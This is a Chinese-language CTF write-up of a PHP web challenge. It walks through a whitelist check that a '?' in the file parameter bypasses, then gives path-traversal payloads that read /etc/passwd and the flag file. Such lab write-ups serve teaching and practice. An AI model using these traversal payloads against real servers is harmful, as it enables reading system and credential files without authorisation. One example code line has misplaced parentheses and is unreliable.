进来一个滑稽表情包,查看页面源码,得到提示
访问source.php,查看源码:
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
审计一下php代码,需要使用GET方式提交一个 $file
变量,进行文件包含。
看到白名单,随即访问hint.php,得到ffffllllaaaagggg文件名。
多次if语句判断,第一次判断是否存在 $page
变量且是否为字符串,简单绕过。
第二层 if 用到了bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )
函数:
in_array($page, $whitelist)
在这里由于数组类型是字符串类型,所以不存在这样的弱类型转换漏洞,这里如果需要返回 true,则必须 $page
的值为 hint.php 或者 source.php。
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
这部分用到了两个比较新的 php 函数:
mb_substr ( string $str , int $start [, int $length = NULL [, string $encoding = mb_internal_encoding() ]] ) : string
与 substr()
函数不同的是,mb_substr()
通常用来分割多种字符,用于兼容字符集。例如:
echo mb_substr("Hello, world!", 0, 2);
//echo:He
echo mb_substr("你好世界!", 0, 2);
//echo:你好
这看起来似乎更符合中国人的习惯。
mb_strpos ( string $haystack , string $needle [, int $offset = 0 [, string $encoding = mb_internal_encoding() ]] ) : int
该函数用来返回字符串 $needle
在 $haystack
字符串中第一次出现的位置。这里就存在绕过,只要题目中的字符串中出现问号,就可以对字符串进行截断,从而绕过白名单的审查。
echo mb_strpos("Hello!" . "?", "?"); //echo: 6
echo mb_strpos("?Hello!") . "?", "?"); //echo: 0
于是只要构造这样的字符串:
?file=hint.php?
?file=source.php?
就可以绕过白名单审计,返回 true
。
接下来就是简单的目录穿越完事,可以先读取 /etc/passwd:
source.php?file=hint.php?../../../../../etc/passwd
穿越回根目录经过五次,大概推测文件结构,然后读取flag。
source.php?file=hint.php?../../../../../ffffllllaaaagggg